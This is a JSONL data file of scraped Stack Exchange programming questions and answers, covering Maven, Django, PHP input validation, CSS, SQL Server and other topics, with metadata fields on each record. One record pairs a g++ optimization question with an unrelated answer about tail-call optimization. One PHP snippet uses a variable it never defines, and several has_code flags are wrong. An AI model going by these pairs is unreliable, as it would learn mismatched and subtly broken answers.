{"id": "hf_9feb020bf2fe", "question": "<p>I am using Maven (and the Maven Eclipse Integration) to manage the dependencies for my Java projects in Eclipse. The automatic download feature for JAR files from the Maven repositories is a real time saver. Unfortunately, it does not include API documentation and source code.</p>\n\n<p>How can I set up Maven to automatically also get the source and javadoc attachments and register them properly with Eclipse?</p>\n", "question_body": "", "answer": "```\n```\nmvn eclipse:eclipse -DdownloadSources=true\n```\n```\nor\n```\n```\nmvn eclipse:eclipse -DdownloadJavadocs=true\n```\n```\nor you can add both flags, as Spencer K points out.\nAdditionally, the\n```\n=true\n```\nportion is not required, so you can use\n```\n```\nmvn eclipse:eclipse -DdownloadSources -DdownloadJavadocs\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.203680"}
{"id": "hf_465a76be6fe4", "question": "<p>For loading time considerations I am using a runtime css file in my Flex Application.</p>\n\n<p>I am having a problem with a multi line text control :</p>\n\n<pre><code>&lt;mx:Text id=\"txtDescription\" selectable=\"false\"\nstyleName=\"imageRolloverButtonTextDark\" width=\"100%\" textAlign=\"center\"\ntext=\"{_rolloverText}\"/&gt;\n</code></pre>\n\n<p>When my CSS stylesheet has loaded the text style correctly changes, but the height is not recalculated. It appears to be just a single line field.</p>\n\n<p>FYI: The control is not actually visible, and triggered by a rollover. So I dont really care if the stylesheet hasnt loaded and they get standard system text. I jsut want it to be the correct height when it has been loaded.</p>\n", "question_body": "", "answer": "Could you use a fixed pixel width instead of 100%? I've had issues with 100% being wrongly calculated on dynamic text controls before.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.224278"}
{"id": "hf_29cd598486e6", "question": "<p>Given a class:</p>\n\n<pre><code>from django.db import models\n\nclass Person(models.Model):\n    name = models.CharField(max_length=20)\n</code></pre>\n\n<p>Is it possible, and if so how, to have a QuerySet that filters based on dynamic arguments?  For example:</p>\n\n<pre><code> # Instead of:\n Person.objects.filter(name__startswith='B')\n # ... and:\n Person.objects.filter(name__endswith='B')\n\n # ... is there some way, given:\n filter_by = '{0}__{1}'.format('name', 'startswith')\n filter_value = 'B'\n\n # ... that you can run the equivalent of this?\n Person.objects.filter(filter_by=filter_value)\n # ... which will throw an exception, since `filter_by` is not\n # an attribute of `Person`.\n</code></pre>\n", "question_body": "", "answer": "A really complex search forms usually indicates that a simpler model is trying to dig it's way out.\nHow, exactly, do you expect to get the values for the column name and operation?\nWhere do you get the values of\n```\n'name'\n```\nan\n```\n'startswith'\n```\n?\n```\n```\nfilter_by = '%s__%s' % ('name', 'startswith')\n```\n```\nA \"search\" form?  You're going to -- what? -- pick the name from a list of names?  Pick the operation from a list of operations?  While open-ended, most people find this confusing and hard-to-use.\nHow many columns have such filters? 6? 12? 18?\nA few?  A complex pick-list doesn't make sense.  A few fields and a few if-statements make sense.\nA large number?  Your model doesn't sound right.  It sounds like the \"field\" is actually  a key to a row in another table, not a column.\nSpecific filter buttons.  Wait... That's the way the Django admin works.  Specific filters are turned into buttons.  And the same analysis as above applies.  A few filters make sense.  A large number of filters usually means a kind of first normal form violation.\nA lot of similar fields often means there should have been more rows and fewer fields.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.248395"}
{"id": "hf_25a79a641747", "question": "<p>Mac OS X stores some files with resource forks.  I need to create a file with a resource fork.  The trouble is, I need to create this file on the command line.  Is anyone aware of how you can create a file with a resource fork on the command line in Mac OS X?</p>\n", "question_body": "", "answer": "First, OS X doesn't really use resource forks... it supports named forks and HFS+ supports the resource forks, but that's mostly for backwards compatibility with OS 9 and old-style Carbon stuff... however, there are command line tools installed with the Developer Tools (so you'll have to install these... if you don't have them, you can get them from developer.apple.com).\nSee the man pages for the following tools:\nResMerger\nRez\nRezDet\nRezWack\nThe man pages are installed with the developer tools, so\n```\n```\nman Rez\n```\n```\nin the terminal will work. The man pages are also available online:\nRez(1)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.307336"}
{"id": "hf_513153a24ca3", "question": "<p>Comparable to cacti or mrtg.</p>\n", "question_body": "", "answer": "http://www.zenoss.com/\nThis is a lot more than just SNMP but it is based on Python.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.328520"}
{"id": "hf_a22498ed7957", "question": "<p>I have an array (<code>arr</code>) of elements, and a function (<code>f</code>) that takes 2 elements and returns a number.</p>\n\n<p>I need a permutation of the array, such that <code>f(arr[i], arr[i+1])</code> is as little as possible for each <code>i</code> in <code>arr</code>. (and it should loop, ie. it should also minimize <code>f(arr[arr.length - 1], arr[0])</code>)</p>\n\n<p>Also, <code>f</code> works sort of like a distance, so <code>f(a,b) == f(b,a)</code></p>\n\n<p>I don't need the optimum solution if it's too inefficient, but one that works reasonable well and is fast since I need to calculate them pretty much in realtime (I don't know what to length of <code>arr</code> is, but I think it could be something around 30)</p>\n", "question_body": "", "answer": "What does \"such that f(arr[i], arr[i+1]) is as little as possible for each i in arr\" mean? Do you want minimize the\nsum\n? Do you want to minimize the largest of those? Do you want to minimize f(arr[0],arr[1]) first, then among all solutions that minimize this, pick the one that minimizes f(arr[1],arr[2]), etc., and so on?\nIf you want to minimize the\nsum\n, this is\nexactly\nthe Traveling Salesman Problem in its full generality (well, \"metric TSP\", maybe, if your f's indeed form a metric). There are clever optimizations to the naive solution that will give you the exact optimum and run in reasonable time for about n=30; you could use one of those, or one of the heuristics that give you approximations.\nIf you want to minimize the\nmaximum\n, it is a simpler problem although still NP-hard: you can do binary search on the answer; for a particular value d, draw edges for pairs which have f(x,y)\nIf you want to minimize it\nlexiocographically\n, it's trivial: pick the pair with the shortest distance and put it as arr[0],arr[1], then pick arr[2] that is closest to arr[1], and so on.\nDepending on where your f(,)s are coming from, this might be a much easier problem than TSP; it would be useful for you to mention that as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.385987"}
{"id": "hf_af9958bbea20", "question": "<p>When using a subdomain and trying to view anything related to current_user. user is sent to a new session page, the page shows the session is created and gives the option to logout. I can use no subdomain and it works fine.</p>\n", "question_body": "", "answer": "Set it in your environment.rb (or environments/*.rb if you'll use different domains for each environment):\n```\n```\nActionController::CgiRequest::DEFAULT_SESSION_OPTIONS.update( :session_domain => '.domain.com')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.419963"}
{"id": "hf_69c486b941ae", "question": "<p>I want to do this in Actionscript:</p>\n\n<pre><code>typeof(control1) != typeof(control2)\n</code></pre>\n\n<p>to test if two objects are of the same type. This would work just fine in C#, but in Actionscript it doesnt. In fact it returns <code>'object'</code> for both <code>typeof()</code> expressions because thats the way Actionscript works.</p>\n\n<p>I couldn't seem to find an alternative by looking in the debugger, or on pages that describe <code>typeof()</code> in Actionscript.</p>\n\n<p>Is there a way to get the actual runtime type?</p>\n", "question_body": "", "answer": "You'll want to use the Object.prototype.constructor.\nFrom the\ndocumentation\n:\n```\n```\ndynamic class A {}\n  trace(A.prototype.constructor);      // [class A]\n  trace(A.prototype.constructor == A); // true\n  var myA:A = new A();\n  trace(myA.constructor == A);         // true\n```\n```\n(Conveniently, this is also how to check types in javascript, which is what originally led me to this in the docs)\nSo, to test this out before I posted here, I tried it in an app I have, in a class called Player.  Since the prototype property is static, you can't call it using \"this\" but you can just skip the scope identifier and it works:\n```\n```\npublic function checkType():void {\n    trace(prototype.constructor, prototype.constructor == Player);\n    // shows [class Player] true\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.451626"}
{"id": "hf_ebc204f78636", "question": "<p>I am building a small device with its own CPU (AVR Mega8) that is supposed to connect to a PC. Assuming that the physical connection and passing of bytes has been accomplished, what would be the best protocol to use on top of those bytes? The computer needs to be able to set certain voltages on the device, and read back certain other voltages.</p>\n\n<p>At the moment, I am thinking a completely host-driven synchronous protocol: computer send requests, the embedded CPU answers. Any other ideas?</p>\n", "question_body": "", "answer": "There's a lot to be said for client-server architecture and synchronous protocols.  Simplicity and robustness, to start.  If speed isn't an issue, you might consider a compact, human-readable protocol to help with debugging.  I'm thinking along the lines of modem AT commands: a \"wakeup\" sequence followed by a set/get command, followed by a terminator.\n```\n```\nHost -->  [V02?]      // Request voltage #2\nAVR  -->  [V02=2.34]  // Reply with voltage #2\nHost -->  [V06=3.12]  // Set voltage #6\nAVR  -->  [V06=3.15]  // Reply with voltage #6\n```\n```\nEach side might time out if it doesn't see the closing bracket, and they'd re-synchronize on the next open bracket, which cannot appear within the message itself.\nDepending on speed and reliability requirements, you might encode the commands into one or two bytes and add a checksum.\nIt's always a good idea to reply with the\nactual\nvoltage, rather than simply echoing the command, as it saves a subsequent read operation.\nAlso helpful to define error messages, in case you need to debug.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.476304"}
{"id": "hf_b28390fa693c", "question": "<p>I've been looking around for a good MVC framework for Python using PyGTK. I've looked at <a href=\"http://www.async.com.br/projects/kiwi/\" rel=\"nofollow noreferrer\">Kiwi</a> but found it a bit lacking, especially with using the Gazpacho Glade-replacement.</p>\n\n<p>Are there any other nice desktop Python MVC frameworks?  I'm one of the few (it seems) to not want a webapp.</p>\n", "question_body": "", "answer": "There's\nDabo\n, made by some guys moving from FoxPro.  It might work for you if you're writing a data driven business app.\nBeyond that, I haven't found anything that you haven't.\nGUI stuff is\nsupposed\nto be hard. It builds character.\n(\nAttributed\nto Jim Ahlstrom, at one of the early Python workshops.  Unfortunately, things haven't changed much since then.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.527595"}
{"id": "hf_1b8eafbd3514", "question": "<p>Today I ran XtUnit at a part of my unit testing framework to to rollback database changes created while running a test case. This is a skeleton of how I have used it. The Test case ran successfully but the database state changed as a result.  </p>\n\n<pre><code>using NUnit.Framework;\nusing TeamAgile.ApplicationBlocks.Interception;\nusing TeamAgile.ApplicationBlocks.Interception.UnitTestExtensions;\n\nnamespace NameSpace.UnitTest\n{\n  [TestFixture]\n  public class Test : InterceptableObject\n  {\n    [Test]\n    [DataRollBack]\n    public void CreateTest()\n    {\n</code></pre>\n\n<p>I use Nhibernate with Mysql. Am I missing something?</p>\n", "question_body": "", "answer": "I think your test fixture needs to extend\n```\nExtensibleFixture\n```\n, not\n```\nInterceptableObject\n```\n.  In the XtUnit source,\n```\nExtensibleFixture\n```\nitself inherits from\n```\nInterceptableObject\n```\n.  The comments in ExtensibleFixture.cs state:\nThis is the base class for all the test fixtures you will\nhave in your project. You MUST inherit from this in order\nfor the custom attributes to work. No other special action is needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.577026"}
{"id": "hf_71cee735e807", "question": "<p>Any good reason why $(\"p\").html(0) makes all paragraphs empty as opposed to contain the character '0'?</p>\n\n<p>Instead of assuming I found a bug in jQuery, it's probably a misunderstanding on my part.</p>\n", "question_body": "", "answer": "I guess that at some point, it checks\n```\nif (newContent == false)\n```\n, and doesn't continue with adding any content? I tried looking at the source, but got a bit lost...\nI also guess that this would not be counted as a bug, since the function calls for a string, and if \"0\" is passed (as a string), it works as expected.\nA workaround would be to do this:\n```\n```\nvar myNum = 0;\n$('p').html('' + myNum);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.635431"}
{"id": "hf_e6347218e316", "question": "<p>I've never liked wrapping the </p>\n\n<pre><code>mysql_real_escape_string \n</code></pre>\n\n<p>function around input I expect to be integer for inclusion in a MySQL query.\nRecently I came across the </p>\n\n<pre><code>filter_var \n</code></pre>\n\n<p>function. Nice!</p>\n\n<p>I'm currently using the code:</p>\n\n<pre><code>if (isset($idUserIN) \n    &amp;&amp; filter_var($idUserIN, FILTER_VALIDATE_INT) \n    &amp;&amp; 0 &lt; filter_var($idUserIN, FILTER_SANITIZE_NUMBER_INT)\n    ) {\n      $idUser = filter_var($idUserIN, FILTER_SANITIZE_NUMBER_INT);\n      $sql = 'SELECT * FROM TABLE_NAME WHERE idUser = '.$idUser;\n} else {\n  // handle invalid data\n}\n</code></pre>\n\n<p>Does this leave any holes open?</p>\n\n<p>('> 0' chosen rather than '>= 0' as its a table auto_increment field, so 0 would not be a normal value)</p>\n", "question_body": "", "answer": "A much simpler and easier-to-read method that I use is this:\n```\n```\n$sql = 'SELECT * FROM TABLE_NAME WHERE idUser = ' . intval($idUser);\n```\n```\nIt attempts to convert $idUser to an integer and on failure returns 0 which none of my tables have as real id's. (So I know the input was invalid if it evaluates to 0.)\nTo answer your actual question, no that won't leave any holes open. I suggest getting rid of the repetitive code though:\n```\n```\n$idUserIN_filtered = filter_var($idUserIN, FILTER_VALIDATE_INT);\n\nif (isset($idUserIN) \n    && $idUserIN_filtered \n    && 0 < $idUserIN_filtered\n    ) {\n      $sql = 'SELECT * FROM TABLE_NAME WHERE idUser = '.$idUser_filtered;\n} else {\n  // handle invalid data\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.659831"}
{"id": "hf_77d4af7e1f16", "question": "<p>I want to send an email from my iPhone application. I have heard that the iOS SDK doesn't have an email API. I don't want to use the following code because it will exit my application:</p>\n\n<pre><code>NSString *url = [NSString stringWithString: @\"mailto:foo@example.com?cc=bar@example.com&amp;subject=Greetings%20from%20Cupertino!&amp;body=Wish%20you%20were%20here!\"];\n[[UIApplication sharedApplication] openURL: [NSURL URLWithString: url]];\n</code></pre>\n\n<p>So how can I send an email from my app?</p>\n", "question_body": "", "answer": "If you want to send email from your application, the above code is the only way to do it unless you code your own mail client (SMTP) inside your app, or have a server send the mail for you.\nFor example, you could code your app to invoke a URL on your server which would send the mail for you. Then you simply call the URL from your code.\nNote that with the above code you can't attach anything to the email, which the SMTP client method would allow you to do, as well as the server-side method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.693608"}
{"id": "hf_b555b6df3db5", "question": "<p>While accessing a webservice which is availbale at <a href=\"http://recpushdata.cyndigo.com/jobs.asmx\" rel=\"nofollow noreferrer\">http://recpushdata.cyndigo.com/jobs.asmx</a>, I am getting this Exception. \"Remote name could not be resolved\"</p>\n\n<p>Any Suggesytion..what to do..</p>\n", "question_body": "", "answer": "Try using the URL:\nhttp://216.10.246.91/jobs.asmx\nIf this works, whereever you are calling the web service from has a problem with DNS. If that does not work report back.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.728398"}
{"id": "hf_7c70c08a8854", "question": "<p>Very simply, what is tail-call optimization?</p>\n\n<p>More specifically, what are some small code snippets where it could be applied, and where not, with an explanation of why?</p>\n", "question_body": "", "answer": "Look here:\nhttp://tratt.net/laurie/tech_articles/articles/tail_call_optimization\nAs you probably know, recursive function calls can wreak havoc on a stack; it is easy to quickly run out of stack space. Tail call optimization is way by which you can create a recursive style algorithm that uses constant stack space, therefore it does not grow and grow and you get stack errors.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.793657"}
{"id": "hf_b64ba9d06733", "question": "<p>I am working on lock free structure with g++ compiler. It seems that with -o1 switch, g++ will change the execution order of my code. How can I forbid g++'s optimization on certain part of my code while maintain the optimization to other part? I know I can split it to two files and link them, but it looks ugly.</p>\n", "question_body": "", "answer": "Look here:\nhttp://tratt.net/laurie/tech_articles/articles/tail_call_optimization\nAs you probably know, recursive function calls can wreak havoc on a stack; it is easy to quickly run out of stack space. Tail call optimization is way by which you can create a recursive style algorithm that uses constant stack space, therefore it does not grow and grow and you get stack errors.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.820946"}
{"id": "hf_655c5811daff", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/311054/how-do-i-select-last-5-rows-in-a-table-without-sorting\">How do I select last 5 rows in a table without sorting?</a>  </p>\n</blockquote>\n\n\n\n<p>I want to select the top 10 records from a table in SQL Server without arranging the table in ascending or descending order.</p>\n", "question_body": "", "answer": "if random order is needed, you can try\n```\n```\nselect top 10 * from [tablename] order by newid()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.872276"}
{"id": "hf_b6a9c38664e4", "question": "<p>I have a scrolling div with Three linkbuttons and three differents divs. I need to apply CSS to active linkbutton  as soon as button is clicked.The codes used by me are:</p>\n\n<pre><code>protected void btnNetwork_Click(object sender, EventArgs e)\n    {\n        this.btnForecast.CssClass = \"li_1\";\n        this.btnBlog.CssClass = \"li_2\";\n        this.btnNetwork.CssClass = \"li_3_active\";\n        this.btnNetwork.ForeColor = System.Drawing.Color.White;\n        lblMsg.Visible = false;\n        BindGW(\"-----------------------------------\");\n        Forecast.Visible = false;\n        Blog.Visible = false;\n        Network.Visible = true;\n    }\n</code></pre>\n\n<p>Thanks &amp; Regards,</p>\n\n<p>Khushi</p>\n", "question_body": "", "answer": "Instead of using server side event use client side javascript event. Try:\n```\n```\n$get('btnId').setAttribute(\"class\", \"some_class_name\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.895789"}
{"id": "hf_3b9a652efe6e", "question": "<p>I'm looking for a way to change the CSS rules for pseudo-class selectors (such as :link, :hover, etc.) from JavaScript.</p>\n\n<p>So an analogue of the CSS code: <code>a:hover { color: red }</code> in JS.</p>\n\n<p>I couldn't find the answer anywhere else; if anyone knows that this is something browsers do not support, that would be a helpful result as well.</p>\n", "question_body": "", "answer": "You can't style a pseudo-class on a particular element alone, in the same way that you can't have a pseudo-class in an inline style=\"...\" attribute (as there is no selector).\nYou can do it by altering the stylesheet, for example by adding the rule:\n```\n```\n#elid:hover { background: red; }\n```\n```\nassuming each element you want to affect has a unique ID to allow it to be selected.\nIn theory the document you want is\nhttp://www.w3.org/TR/DOM-Level-2-Style/Overview.html\nwhich means you can (given a pre-existing embedded or linked stylesheet) using syntax like:\n```\n```\ndocument.styleSheets[0].insertRule('#elid:hover { background-color: red; }', 0);\ndocument.styleSheets[0].cssRules[0].style.backgroundColor= 'red';\n```\n```\nIE, of course, requires its own syntax:\n```\n```\ndocument.styleSheets[0].addRule('#elid:hover', 'background-color: red', 0);\ndocument.styleSheets[0].rules[0].style.backgroundColor= 'red';\n```\n```\nOlder and minor browsers are likely not to support either syntax. Dynamic stylesheet-fiddling is rarely done because it's quite annoying to get right, rarely needed, and historically troublesome.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.931690"}
{"id": "hf_e30bf202ac03", "question": "<p>I want to select the last 5 records from a table in SQL Server without arranging the table in ascending or descending order.</p>\n", "question_body": "", "answer": "Without an order, this is impossible.  What defines the \"bottom\"?  The following will select 5 rows according to how they are stored in the database.\n```\nSELECT TOP 5 * FROM [TableName]\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.958587"}
{"id": "hf_1adf287f3c8c", "question": "<p>Which is the best method to make the browser use cached versions of js files (from the serverside)?</p>\n", "question_body": "", "answer": "From PHP:\n```\n```\nfunction OutputJs($Content) \n{   \n    ob_start();\n    echo $Content;\n    $expires = DAY_IN_S; // 60 * 60 * 24 ... defined elsewhere\n    header(\"Content-type: x-javascript\");\n    header('Content-Length: ' . ob_get_length());\n    header('Cache-Control: max-age='.$expires.', must-revalidate');\n    header('Pragma: public');\n    header('Expires: '. gmdate('D, d M Y H:i:s', time()+$expires).'GMT');\n    ob_end_flush();\n    return; \n}\n```\n```\nworks for me.\nAs a developer you'll probably quickly run into the situation that you\ndon't\nwant files cached, in which case see\nHelp with aggressive JavaScript caching", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:17.982880"}
{"id": "hf_ccd3b4ff91c3", "question": "<p>How to filter my datagridview by the value of my label.text on click event? That value is from my linq query:</p>\n\n<pre><code>dataSet.Tables[0].AsEnumerable().Where(c =&gt; c.Field&lt;int&gt;(\"ageColumn\") &gt; 3 &amp;&amp;\n     c.Field&lt;int&gt;(\"ageColumn\") &lt; 5).Count();\n</code></pre>\n\n<p>Let's just say the above query gives me 12 (label.text = 12), now when I click \"12\", I want my datagridview to ONLY show those 12 rows that meet my above query.</p>\n", "question_body": "", "answer": "Now I do not use LINQ, but logic would suggest that whatever is retured by the expression\n```\n```\ndataSet.Tables[0].AsEnumerable().Where(c => c.Field<int>(\"ageColumn\") > 3 &&\n c.Field<int>(\"ageColumn\") < 5)\n```\n```\nContains the data you seek? Is there not a property in there to enumerate the data?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.031466"}
{"id": "hf_1a94e77e8637", "question": "<p>In my application I have a <code>Customer</code> class and an <code>Address</code> class. The <code>Customer</code> class has three instances of the <code>Address</code> class: <code>customerAddress</code>, <code>deliveryAddress</code>, <code>invoiceAddress</code>.</p>\n\n<p><strong>Whats the best way to reflect this structure in a database?</strong></p>\n\n<ul>\n<li>The straightforward way would be a customer table and a separate address table. </li>\n<li>A more denormalized way would be just a customer table with columns for every address (Example for \"street\": customer_street, delivery_street, invoice_street) </li>\n</ul>\n\n<p>What are your experiences with that? Are there any advantages and disadvantages of these approaches?</p>\n", "question_body": "", "answer": "I'd go (as database theory teaches) for two separate tables: Customer and Address.\nThe idea of putting three fields in the Customer table is bad, as you say, because it would violate normalization rules (and fail when addresses would become more than three).\nedit\n: also, I'd split the Address table record in several fields, one for the toponomastic prefix, one for the street, etc. and put a unique key on those. Otherwise, you'd end with a database full of duplicates.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.055484"}
{"id": "hf_55e3b0eb6376", "question": "<p>I am working on an app with an NSTextView.  When I paste random bytes into it (say, from a compiled C program) it displays gibberish, as it should.  However, when I -setShowsControlCharacters:YES, the same causes a crash and gives the following error multiple times:</p>\n\n<p><code>2008-11-22 00:27:22.671 MyAppName[6119:10b] *** -[NSBigMutableString _getBlockStart:end:contentsEnd:forRange:stopAtLineSeparators:]: Range or index out of bounds</code></p>\n\n<p>I created a new project with just an NSTextView with the same property and it does not have this problem.</p>\n\n<p>My question is, how can I debug my app to find the cause of the error?  I have no idea where the bug originates.  I am not familiar with the debugger built in to Xcode.  If anyone could point me in the right direction in terms of how to track down such a bug I would be very grateful.  Thanks.</p>\n", "question_body": "", "answer": "It's not really clear how much you know so I'm going to try a very basic approach, please don't be offended.\nI'm assuming the NSTextView is in a external nib/xib and is not created programatically.\nIf so open up your nib/xib in Interface builder and click on the offending NSTextView element.\nThen hit\nCmd-5\nor\nTools->Connections Inspector\nFrom here you can see which\nOutlets/Actions\nto look for in the actual source code.\nMost likely you're problem is manipulation of a \"\nReference Outlet\n\" object, or in a \"\nSent Action\n\" function.\nOnce you have an idea of which method(s)/variable(s) you need to watch you can open up the source code for those parts in Xcode. You can then set a break point at any line by click on that line number on the left hand side of the editor window.\nClick on\nRun->Debugger\n. A new window should popup, click \"\nRun and Go\n\" in the toolbar of that window. Your app should run as normal until it hit's the break point you set in your source code. when the break point is hit you can mouse over variables in your code in the bottom half of the debugger window. The current values of the variables should popup allowing for easy inspection.\nUsually you can gain the same information by using the Top Right panel of the Debugger to inspect the variable table.\nWhen your done with that break point click \"\nContinue\n\" at the top of the debugger window and your program will execute till completion or the next break point.\nThis should get you started with debugging under Xcode.\nTheir are different kinds/uses of break points and all kinds of additional fancy stuff you can do in Xcode.\nFor more information check out this awesome\nCocoaHeads video\n.\nGood Luck,\nBrian G.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.090937"}
{"id": "hf_cab18f20564c", "question": "<p>I need a map that has two keys, e.g.</p>\n\n<pre><code>Map2&lt;String /*ssn*/, String /*empId*/, Employee&gt; _employees;\n</code></pre>\n\n<p>So that I can</p>\n\n<pre><code>_employees.put(e.ssn(), e.empId(), e)\n</code></pre>\n\n<p>And later</p>\n\n<pre><code>_employees.get1(someSsn);\n_employees.get2(someImpId);\n</code></pre>\n\n<p>Or even</p>\n\n<pre><code>_employees.remove1(someImpId);\n</code></pre>\n\n<p>I am not sure why I want to stop at two, why not more, probably because that's the case I am I need right now :-) But the type needs to handle fixed number of keys to be type-safe -- type parameters cannot be vararg :-)</p>\n\n<p>Appreciate any pointers, or advice on why this is a bad idea.</p>\n", "question_body": "", "answer": "My first thought was: the easiest way to do this, I think, would be two maps.\n```\n```\nMap< String, Map< String,Employee> > _employees;\n```\n```\nBut from what it looks like, you just want to be able to look up an employee by either SSN or ID.  What's to stop you then from making two maps, or at worst a class that contains two maps?\nAs a clarification, are you looking for a\ncompound key\nbeing employees are uniquely identified by the combination of their SSN and ID, but not either one by itself, or are you looking for two different ways of referencing an employee?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.140065"}
